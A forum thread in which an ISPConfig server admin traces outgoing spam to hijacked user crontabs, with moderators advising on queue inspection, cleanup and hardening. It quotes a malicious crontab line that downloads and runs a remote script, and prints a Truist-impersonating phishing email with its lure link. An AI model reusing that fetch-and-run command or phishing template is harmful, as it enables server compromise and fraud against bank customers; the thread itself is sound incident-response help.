Reset postfix installation

Discussion in 'Server Operation' started by deividmen, Oct 23, 2021.

  1. deividmen

    deividmen New Member

    Hello,

    My email server got hacked and it's sending spam all the time. I can no longer send or receive emails. I tried everything, I even locked all of my clients (disabled all webs etc.) to see if there's a php script sending that spam, but nothing worked. The only thing that works is stoping postfix service.

    I think one solution would be to reset the postfix installation, but I'm not sure about the right procedure.

    This is what's inside the mail log

    Code:
    Oct 20 04:04:40 servidor1 postfix/smtp[11684]: 3CFA2F43BBB: to=<[email protected]>, relay=127.0.0.1[127.0.0.1]:10024, conn_use=68, delay=51311, delays=1.1/51305/0/4.3, dsn=5.7.1, status=bounced (host 127.0.0.1[127.0.0.1] said: 554 5.7.1 id=11476-01-68 - Rejected by next-hop MTA on relaying, from MTA(smtp:[127.0.0.1]:10025): 554 5.7.1 <[email protected]>: Sender address rejected: Access denied (in reply to end of DATA command))
    Oct 20 04:04:40 servidor1 postfix/cleanup[11722]: 615BE16061B1: message-id=<[email protected]>
    Oct 20 04:04:40 servidor1 postfix/bounce[11336]: 2C86AF43BBC: sender non-delivery notification: 615BE16061B1
    Oct 20 04:04:40 servidor1 postfix/qmgr[2494]: 2C86AF43BBC: removed
    Oct 20 04:04:40 servidor1 postfix/qmgr[2494]: C8C76EEA4ED: from=<[email protected]>, size=5738, nrcpt=1 (queue active)
    Oct 20 04:04:40 servidor1 postfix/pickup[4931]: C1973160619F: uid=5030 from=<[email protected]>
    Oct 20 04:04:40 servidor1 postfix/cleanup[11785]: C1973160619F: message-id=<[email protected]>
    Oct 20 04:04:40 servidor1 postfix/pickup[4931]: D19D416061B2: uid=5030 from=<[email protected]>
    Oct 20 04:04:40 servidor1 postfix/cleanup[11341]: D19D416061B2: message-id=<[email protected]>
     
    Last edited: Oct 24, 2021
  2. till

    till Super Moderator Staff Member ISPConfig Developer

    What kind of system installation or control panel and setup do you use on this server?

    The problem is most likely not related to your postfix setup, so resetting it won't help. That stopping the web server does not solve the issue is an indication that the attacked might have installed a cronjob or permanently running script to send the emails. You can find details on how it is sent by looking at the mails in the mail queue, especially by looking at the mail headers of the queued mails.
     
  3. deividmen

    deividmen New Member

    I have an Ubuntu 16.04 server with ISPConfig Version: 3.1dev. I set up Postfix with an SMTP relay service (Mailgun), and this is the information of a spam email sent:

    Code:
    {
        "severity": "temporary",
        "tags": [],
        "storage": {
            "url": "https://sw.api.mailgun.net/v3/domains/email.surempresa.com/messages/AwABBaKwojHIKNJrfipIJJNFiJwt3bd_ZA==",
            "key": "AwABBaKwojHIKNJrfipIJJNFiJwt3bd_ZA=="
        },
        "delivery-status": {
            "tls": true,
            "mx-host": "mail.ingytop.cl",
            "attempt-no": 8,
            "description": "",
            "session-seconds": 5.372747898101807,
            "retry-seconds": 14400,
            "code": 454,
            "message": "4.7.1 <[email protected]>: Relay access denied"
        },
        "recipient-domain": "ingytop.cl",
        "event": "failed",
        "campaigns": [],
        "reason": "generic",
        "user-variables": {},
        "flags": {
            "is-routed": false,
            "is-authenticated": true,
            "is-system-test": false,
            "is-test-mode": false
        },
        "log-level": "warn",
        "timestamp": 1635017150.837914,
        "envelope": {
            "transport": "smtp",
            "sender": "",
            "sending-ip": "69.72.42.11",
            "targets": "[email protected]"
        },
        "message": {
            "headers": {
                "to": "[email protected]",
                "message-id": "[email protected]",
                "from": "[email protected] (Mail Delivery System)",
                "subject": "Undelivered Mail Returned to Sender"
            },
            "attachments": [],
            "size": 8134
        },
        "recipient": "[email protected]",
        "id": "xZgAXix2S_612IxUJWd9OA"
    }
     
    Last edited: Oct 23, 2021
  4. till

    till Super Moderator Staff Member ISPConfig Developer

    This does not look like details from an email of your mail queue. run:

    postqueue -p

    to get a list of emails in the mail queue. Each mail has a unique alphanumeric id. Note copy one of the id's frame what you suspect to be spam sent by your system and view it#s content with:

    postcat -q ID

    where you replace ID with the email ID that you copied from postqueue command. This wills how you the complete mail file inc. headers. The relevant part are the herders as it shows exactly how and by which local user (or remote system) the email was sent.
     
  5. deividmen

    deividmen New Member

    postqueue -p
    Code:
    496C0294258A*    5736 Tue Oct 19 18:46:37  [email protected]
                                             [email protected]
    
    E97C7EE8B36*    5730 Tue Oct 19 17:55:17  [email protected]
                                             [email protected]
    
    E71B4F85CAB*    5728 Tue Oct 19 19:48:11  [email protected]
                                             [email protected]
    
    1CBAF15A74BC*    5737 Tue Oct 19 19:04:00  [email protected]
                                             [email protected]
    
    33C8515A6387*    5734 Tue Oct 19 23:06:36  [email protected]
                                             [email protected]
    
    18F1AA8A3A8*    5730 Tue Oct 19 23:50:29  [email protected]
                                             [email protected]
    
    57AED15C517A*    5732 Tue Oct 19 18:59:23  [email protected]
                                             [email protected]
    ^C
    [email protected]:~# E97C7EE8B36*    5730 Tue Oct 19 17:55:17  [email protected]
                                             [email protected]
    
    E71B4F85CAB*    5728 Tue Oct 19 19:48:11  [email protected]
                                             [email protected]
    
    1CBAF15A74BC*    5737 Tue Oct 19 19:04:00  [email protected]
                                             [email protected]
    
    33C8515A6387*    5734 Tue Oct 19 23:06:36  [email protected]
                                             [email protected]
    
    18F1AA8A3A8*    5730 Tue Oct 19 23:50:29  [email protected]
                                             [email protected]
    
    57AED15C517A*    5732 Tue Oct 19 18:59:23  [email protected]
                                             [email protected]
    
    
    

    postcat -q 18F1AA8A3A8
    Code:
    *** ENVELOPE RECORDS active/18F1AA8A3A8 ***
    message_size:            5730             215               1               0            5730               0
    content_filter: amavis:[127.0.0.1]:10024
    message_arrival_time: Tue Oct 19 20:50:29 2021
    create_time: Wed Oct 20 00:08:41 2021
    named_attribute: rewrite_context=local
    sender_fullname:
    sender: [email protected]
    *** MESSAGE CONTENTS active/18F1AA8A3A8 ***
    Received: by servidor1.surempresa.com (Postfix, from userid 5030)
            id 18F1AA8A3A8; Tue, 19 Oct 2021 20:50:29 -0300 (-03)
    To: [email protected]
    Subject: =?UTF-8?B?SW1wb3J0YW50IE1lc3NhZ2UgZnJvbSBCQiZUIEN1c3RvbWVyIFNlcnZpY2XCrg==?=
    From: =?UTF-8?B?VHJ1aXN0IEFsZXJ0cw==?= <[email protected]>
    MIME-Version: 1.0;
    Content-type: multipart/mixed; boundary="--O3pf4LMwMQ"
    Message-Id: <[email protected]>
    Date: Tue, 19 Oct 2021 20:50:29 -0300 (-03)
    
    ----O3pf4LMwMQ
    Content-type: text/html; charset="utf-8"
    Content-Transfer-Encoding: 8bit
    
    <table width="90%" align="center" cellpadding="0" class="dynamo" border="0" cellspacing="0" style="font-size: 8pt; font-family: Arial, Helvetica, sans-serif; background: white; border-collapse: collapse;">
    <tbody>
    <tr>
    <td style="padding: 0in;">
    <div align="center">
    <table width="100%" cellpadding="0" border="0" cellspacing="0" style="font-size: 8pt; border-collapse: collapse;">
    <tbody>
    <tr>
    <td style="padding: 0in;">
    <div align="center">
    <table width="100%" cellpadding="0" border="0" cellspacing="0" style="font-size: 8pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; border-collapse: collapse;">
    <tbody>
    <tr>
    <td style="border-style: solid; border-color: rgb(201, 201, 201); border-width: 1px; padding: 0in;">
    <table width="100%" cellpadding="0" border="0" cellspacing="0" style="font-size: 8pt; border-collapse: collapse;">
    <tbody>
    <tr style="height: 60pt;">
    <td width="100%" style="padding: 0in; height: 60pt;"><img height="Auto" alt="TruistLogo" width="100%" src="https://assets.bbt.com/content/dam/bbt/assets/alerts/images/truist_alerts-header.png" border="0" style="display: block;"></td></tr>
    <tr>
    <td align="right" style="font-family: Arial; color: rgb(46, 26, 71); padding-right: 20px; padding-top: 10px; padding-bottom: 10px;">
    <p class="article-copy__header" style="margin: 10px 0px; color: rgb(89, 89, 89);"><span style="font-size: 18px; font-weight: bold; font-family: Arial, sans-serif;">&nbsp;</span><font size="2" face="times new roman"><b>Dear Truist Customer,</b></font></p>
    <p class="article-copy__header" style="margin: 10px 0px; color: rgb(89, 89, 89);"><font size="2" face="times new roman"><b><br></b></font></p>
    <br></td></tr>
    <tr>
    <td>
    <table width="100%" cellspacing="0px" style="font-size: 22px; font-family: Arial; color: rgb(46, 26, 71); font-weight: bold;">
    <tbody>
    <tr>
    <td style="padding-left: 20px; padding-right: 20px;"><font face="times new roman" size="2" style="">Your Online Banking account security have been updated</font></td></tr>
    <tr style="color: rgb(112, 112, 112); font-size: 12px;">
    <td style="padding-left: 20px; padding-right: 20px;"></td></tr></tbody></table></td></tr><tr style="font-family: Arial;"><td colspan="2" border="0" style="color: rgb(124, 105, 146); font-weight: bold; font-size: 18px; padding: 10px 30px 10px 50px;"><table id="main" style="font-size: 14px; width: 484px; line-height: 18px; font-family: Roboto, &quot;color: rgb(17, 17, 17);&quot;;">
    <tbody>
    <tr>
    <td>
    <table id="greetings" style="font-size: 14px; padding: 12px 0px 0px; line-height: 18px; font-family: Roboto, &quot;color: rgb(17, 17, 17);width: 642px;height: 266px;&quot;;">
    <tbody>
    <tr>
    <td>
    <table width="600" cellspacing="5" cellpadding="0" border="0">
    <tbody>
    <tr>
    <td>
    <table style="padding-top:0px;padding-right:30px;padding-bottom:0px;padding-left:10px;font-family:Arial;color:#333;border:0;border-collapse:collapse;width:600px;">
    <tbody>
    <tr>
    <td style="padding-top:0px;padding-right:20px;padding-bottom:18px;padding-left:20px;">
    <table style="color: rgb(51, 51, 51); border: 0px; border-collapse: collapse;">
    <tbody>
    <tr>
    <td style="padding: 1px 0px 0px;"><font face="times new roman" size="2"><b>We're
     writing to let you know that our system detected a slight error in our
    regular&nbsp; verification process of Online Banking records to complete
    recent activity.<br style="color: rgb(0, 0, 0);"><br style="color: rgb(0, 0, 0);"><span style="color: rgb(0, 0, 0);">Our system requires account verification for more security and protection to your&nbsp; account. To see how to solve this situation.</span><br>
    
    </b></font>
    <p></p>
    <p class="normal" style="margin: 0pt; font-variant-numeric: normal; font-variant-east-asian: normal; line-height: 6pt;"><font face="times new roman" size="2"><b>&nbsp;</b></font></p>
    <ul style="padding: 0px 0px 0px 16px; margin: 1em 0px 1em 24px;" type="disc">
    <li class="normal" style="line-height: normal; margin: 0pt 0pt 0pt 36pt; font-variant-numeric: normal; font-variant-east-asian: normal; text-align: left;"><span class="DLSVAR" style="text-indent: -0.249in; margin-top: 0pt; margin-bottom: 0pt;"><font face="times new roman" size="2"><b>Please Log On below to Validate Account Information</b></font></span></li></ul></td></tr></tbody></table></td></tr></tbody></table></td></tr>
    <tr>
    <td class="paddTB_15 paddLR_20 paddbotm_hide" style="color: rgb(65, 64, 66); line-height: 22px; padding: 5px 60px 15px;" valign="top" align="center">
    <p style=""></p>
    
    <div style=""><font size="2" style="" face="times new roman"><em style=""><b><a href="https://iomabe.eu/wp-content/" target="_blank" title="confirmation process" style="">Click here to start the confirmation process</a>.</b></em></font></div></td></tr></tbody></table></td></tr></tbody></table></td></tr>
    <tr>
    <td><br></td></tr></tbody></table>
    </td></tr></tbody></table></td></tr></tbody></table></div></td></tr></tbody></table></div></td></tr></tbody></table>
    ----O3pf4LMwMQ
    
    *** HEADER EXTRACTED active/18F1AA8A3A8 ***
    named_attribute: encoding=8bit
    named_attribute: dsn_orig_rcpt=rfc822;[email protected]
    original_recipient: [email protected]
    recipient: [email protected]
    *** MESSAGE FILE END active/18F1AA8A3A8 ***
    
    
     
    Last edited: Oct 24, 2021
  6. till

    till Super Moderator Staff Member ISPConfig Developer

    Ok, is servidor1 surempresa com your local server? If yes, which user has ID 5030 in /etc/passwd ?
     
  7. till

    till Super Moderator Staff Member ISPConfig Developer

    And is ingytop.cl a website hosted on your system? If yes, which ID does the website has in ISPConfig?
     
  8. deividmen

    deividmen New Member

    Yes, that's my server. The user is the following:
    Code:
    web34:x:5030:5030::/var/www/clients/client26/web34:/bin/false
     
    Last edited: Oct 24, 2021
  9. deividmen

    deividmen New Member

    Yes, it's hosted on my system. The ID is 34.
     
  10. till

    till Super Moderator Staff Member ISPConfig Developer

    Ok, then you should check the crontab of that user, it might contain the script which sends the mails:

    crontab -l -u web34

    if you see the script, edit the crontab with:

    crontab -e -u web34

    remove the line, but note down the path of the script first, and then save the empty crontab. Then delete the script that was run by cron.

    Then check your process list for processes of user web34:

    ps aux | grep web34

    note down script paths, if they are visible. You can also kill all processes run by user web34 to stop the script that sends the email.

    Then you should scan the server for malware, especially web34. You can e..g use ispprotect (https://ispprotect.com/) for that, the first scan is free, just use license key 'trial'.
     
  11. till

    till Super Moderator Staff Member ISPConfig Developer

    Taleman likes this.
  12. deividmen

    deividmen New Member

    I didn't find any crontab of that user, but I found many crontabs of other users, which I deleted. They had all the same crontabs.

    This is an example of a crontab of user web10:
    Code:
    * * * * * wget http://hello.turnedpro.xyz/xxxd && chmod 0755 xxxd && /bin/sh xxxd /var/www/cgpalmondalesanpedro.cl/web 602-2 && rm -f xxxd

    And these are the processes of user web10:
    Code:
    [email protected]:~# ps aux | grep web10
    web104    7749  0.5  0.7 421284 64064 ?        S    02:35   0:23 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client59/web104/web:/var/www/clients/client59/web104/private:/var/www/clients/client59/web104/tmp:/var/www/apoyotesis.cl/web:/srv/www/apoyotesis.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client59/web104/tmp -d session.save_path=/var/www/clients/client59/web104/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web104    8714  0.5  0.7 421104 63028 ?        S    02:41   0:21 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client59/web104/web:/var/www/clients/client59/web104/private:/var/www/clients/client59/web104/tmp:/var/www/apoyotesis.cl/web:/srv/www/apoyotesis.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client59/web104/tmp -d session.save_path=/var/www/clients/client59/web104/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web10    13037  0.1  1.0 422384 86352 ?        S    03:11   0:03 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client7/web10/web:/var/www/clients/client7/web10/private:/var/www/clients/client7/web10/tmp:/var/www/cgpalmondalesanpedro.cl/web:/srv/www/cgpalmondalesanpedro.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client7/web10/tmp -d session.save_path=/var/www/clients/client7/web10/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web10    17627  0.4  1.0 420568 87300 ?        S    03:32   0:03 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client7/web10/web:/var/www/clients/client7/web10/private:/var/www/clients/client7/web10/tmp:/var/www/cgpalmondalesanpedro.cl/web:/srv/www/cgpalmondalesanpedro.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client7/web10/tmp -d session.save_path=/var/www/clients/client7/web10/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web10    18311  0.2  0.7 414824 57504 ?        S    03:37   0:00 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client7/web10/web:/var/www/clients/client7/web10/private:/var/www/clients/client7/web10/tmp:/var/www/cgpalmondalesanpedro.cl/web:/srv/www/cgpalmondalesanpedro.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client7/web10/tmp -d session.save_path=/var/www/clients/client7/web10/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web10    18316  0.0  0.0  54168  5904 ?        S    03:37   0:00 pure-ftpd (IDLE)
    web10    18950  2.2  0.9 421252 75560 ?        S    03:41   0:01 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client7/web10/web:/var/www/clients/client7/web10/private:/var/www/clients/client7/web10/tmp:/var/www/cgpalmondalesanpedro.cl/web:/srv/www/cgpalmondalesanpedro.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client7/web10/tmp -d session.save_path=/var/www/clients/client7/web10/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    root     19141  0.0  0.0  15444   984 pts/5    S+   03:43   0:00 grep --color=auto web10
    
    But I'm not sure how to kill and stop the processes. Should it be
    Code:
    kill 7749
    , and the same for all of them?
     
    Last edited: Oct 24, 2021
  13. Taleman

    Taleman Well-Known Member HowtoForge Supporter

    Yes. Yes.
    Reboot should also get rid of those processes when you have removed the crontabs that started them. Check after reboot the crontab entries did not come back.
     
  14. till

    till Super Moderator Staff Member ISPConfig Developer

    The website is on php-fcgi mode, right? if yes, then these are the normal php-fcgi processes when a visitor visits the site. But a restart probably won't hurt after you removed the crontabs. then you should scan the whole server for malware and then take care to update the affected sites. Most likely they use a outdated version of a CMS or cms plugins have not been updated so that an arracker was able to infect the site.
     
  15. deividmen

    deividmen New Member


    Yes, it's on Fast-CGI mode. Unfortunately, it didn't work and it's still sending spam although I deleted all of the crontabs. I checked every user and the crontabs didn't come back. Same with the normal emails that manage to be sent.

    When I check the process list, this is what I see:

    Code:
    web104   14195  0.4  0.7 422800 64708 ?        S    15:41   0:02 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client59/web104/web:/var/www/clients/client59/web104/private:/var/www/clients/client59/web104/tmp:/var/www/apoyotesis.cl/web:/srv/www/apoyotesis.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client59/web104/tmp -d session.save_path=/var/www/clients/client59/web104/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web104   14211  0.2  0.8 422892 67928 ?        S    15:41   0:01 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client59/web104/web:/var/www/clients/client59/web104/private:/var/www/clients/client59/web104/tmp:/var/www/apoyotesis.cl/web:/srv/www/apoyotesis.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client59/web104/tmp -d session.save_path=/var/www/clients/client59/web104/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web104   14215  0.3  0.7 421376 63680 ?        S    15:41   0:02 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client59/web104/web:/var/www/clients/client59/web104/private:/var/www/clients/client59/web104/tmp:/var/www/apoyotesis.cl/web:/srv/www/apoyotesis.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client59/web104/tmp -d session.save_path=/var/www/clients/client59/web104/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web104   14244  0.2  0.7 423280 65148 ?        S    15:41   0:01 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client59/web104/web:/var/www/clients/client59/web104/private:/var/www/clients/client59/web104/tmp:/var/www/apoyotesis.cl/web:/srv/www/apoyotesis.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client59/web104/tmp -d session.save_path=/var/www/clients/client59/web104/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web126   14288  0.8  1.1 430544 95180 ?        S    15:41   0:04 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client64/web126/web:/var/www/clients/client64/web126/private:/var/www/clients/client64/web126/tmp:/var/www/navierariocruces.com/web:/srv/www/navierariocruces.com/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client64/web126/tmp -d session.save_path=/var/www/clients/client64/web126/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web114   14407  0.3  0.9 418412 79116 ?        S    15:42   0:01 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client61/web114/web:/var/www/clients/client61/web114/private:/var/www/clients/client61/web114/tmp:/var/www/tum2propiedades.cl/web:/srv/www/tum2propiedades.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client61/web114/tmp -d session.save_path=/var/www/clients/client61/web114/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web1     14473  0.1  0.9 479640 73884 ?        S    15:43   0:00 /usr/bin/php-cgi -d open_basedir=/var/www/clients/client1/web1/web:/var/www/clients/client1/web1/private:/var/www/clients/client1/web1/tmp:/var/www/surempresa.com/web:/srv/www/surempresa.com/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client1/web1/tmp -d session.save_path=/var/www/clients/client1/web1/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web126   14823  0.4  1.0 428556 88924 ?        S    15:43   0:02 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client64/web126/web:/var/www/clients/client64/web126/private:/var/www/clients/client64/web126/tmp:/var/www/navierariocruces.com/web:/srv/www/navierariocruces.com/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client64/web126/tmp -d session.save_path=/var/www/clients/client64/web126/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web14    14972  0.1  0.7 418024 60800 ?        S    15:44   0:00 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client11/web14/web:/var/www/clients/client11/web14/private:/var/www/clients/client11/web14/tmp:/var/www/constructoravascal.cl/web:/srv/www/constructoravascal.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client11/web14/tmp -d session.save_path=/var/www/clients/client11/web14/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web127   15010  0.2  0.6 416012 56172 ?        S    15:44   0:00 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client66/web127/web:/var/www/clients/client66/web127/private:/var/www/clients/client66/web127/tmp:/var/www/tstchile.com/web:/srv/www/tstchile.com/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client66/web127/tmp -d session.save_path=/var/www/clients/client66/web127/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web114   15381  0.6  1.0 426860 88760 ?        S    15:45   0:02 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client61/web114/web:/var/www/clients/client61/web114/private:/var/www/clients/client61/web114/tmp:/var/www/tum2propiedades.cl/web:/srv/www/tum2propiedades.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client61/web114/tmp -d session.save_path=/var/www/clients/client61/web114/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web10    16144  0.7  0.8 422164 72316 ?        S    15:48   0:01 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client7/web10/web:/var/www/clients/client7/web10/private:/var/www/clients/client7/web10/tmp:/var/www/cgpalmondalesanpedro.cl/web:/srv/www/cgpalmondalesanpedro.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client7/web10/tmp -d session.save_path=/var/www/clients/client7/web10/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web10    16146  0.3  0.6 336760 55040 ?        S    15:48   0:00 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client7/web10/web:/var/www/clients/client7/web10/private:/var/www/clients/client7/web10/tmp:/var/www/cgpalmondalesanpedro.cl/web:/srv/www/cgpalmondalesanpedro.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client7/web10/tmp -d session.save_path=/var/www/clients/client7/web10/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web10    16147  0.5  0.7 417676 64000 ?        S    15:48   0:01 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client7/web10/web:/var/www/clients/client7/web10/private:/var/www/clients/client7/web10/tmp:/var/www/cgpalmondalesanpedro.cl/web:/srv/www/cgpalmondalesanpedro.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client7/web10/tmp -d session.save_path=/var/www/clients/client7/web10/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web1     16277  0.1  0.5 471728 45784 ?        S    15:49   0:00 /usr/bin/php-cgi -d open_basedir=/var/www/clients/client1/web1/web:/var/www/clients/client1/web1/private:/var/www/clients/client1/web1/tmp:/var/www/surempresa.com/web:/srv/www/surempresa.com/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client1/web1/tmp -d session.save_path=/var/www/clients/client1/web1/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    web131   16444  2.7  1.1 430172 97624 ?        S    15:50   0:01 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client71/web131/web:/var/www/clients/client71/web131/private:/var/www/clients/client71/web131/tmp:/var/www/silanstore.cl/web:/srv/www/silanstore.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client71/web131/tmp -d session.save_path=/var/www/clients/client71/web131/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected]
    root     16576  0.0  0.0  15444   968 pts/8    S+   15:51   0:00 grep --color=auto web1
    
    
    I noticed that there are references to the users with the hacked crontabs I deleted.

    Something strange is that when I change the SMTP relay setup from Mailgun to SocketLabs or Turbo-SMTP, the relay doesn't work and no email is sent. The spam is only sent through Mailgun, as well as the normal emails that manage to be sent after a long time.
     
    Last edited: Oct 24, 2021
  16. deividmen

    deividmen New Member

    This is what I get when I get a list of emails in the mail queue using the Socketlabs SMTP relay:

    postqueue -p
    Code:
    E6A699EE796     8161 Fri Oct 22 09:49:11  MAILER-DAEMON
    (delivery temporarily suspended: host smtp.socketlabs.com[142.0.179.10] refused to talk to me: 421 4.5.1 Too many errors, you have been temporarily blacklisted.)
                                             [email protected]
    
     
  17. deividmen

    deividmen New Member

    Finally I fixed it by deleting the whole list of emails in the mail queue. There were thousands of spam emails remaining I guess. I used the following command:

    Code:
    postsuper -d ALL
    Thanks a lot for your help. The hacked crontabs were the problem.
     
  18. Th0m

    Th0m ISPConfig Developer Staff Member ISPConfig Developer

    When you have a hacked account/script:
    Find a ID of one of the mails in the queue with mailq
    Then check the headers to see how it was sent with postcat -q ID (where ID is the ID of the message). This way you can check wether the email is sent by a authenticated user or a rogue script.

    Delete all emails from that user in the queue with:
    Code:
    mailq | tail -n +2 | awk 'BEGIN { RS = "" }
    # $7=sender, $8=recipient1, $9=recipient2
    { if ($7 == "[email protected]")
    print $1 }
    ' | tr -d '*!' | postsuper -d -
    Where [email protected] is the mailbox that's sending out spam.

    After that, change the password of the hacked user and start Postfix and Dovecot.
     
  19. Jesse Norell

    Jesse Norell ISPConfig Developer Staff Member ISPConfig Developer

    It would be difficult to move from a compromised website (eg. cms) to creating cron jobs (you would have to not use jailkit, and explicitly lower php security settings to do so); doing that for many users/websites on the same server is even less likely - this is more likely an abuse of the ISPConfig interface itself (you said you're running 3.1dev, which is very outdated, with numerous security issues fixed), or possibly compromise of the entire server (the filename/path of the cronjob files would likely indicate which). You should at minimum update ISPConfig to the latest version, but if I were you I'd be building a new up-to-date server and migrate all your data/sites to that. Scan for and clean everything you can prior to moving, and then set the new server to rescan them regularly; ensure you use jailkit for all shell users and even move to php-fpm in chroot mode for your websites.
     
  20. till

    till Super Moderator Staff Member ISPConfig Developer

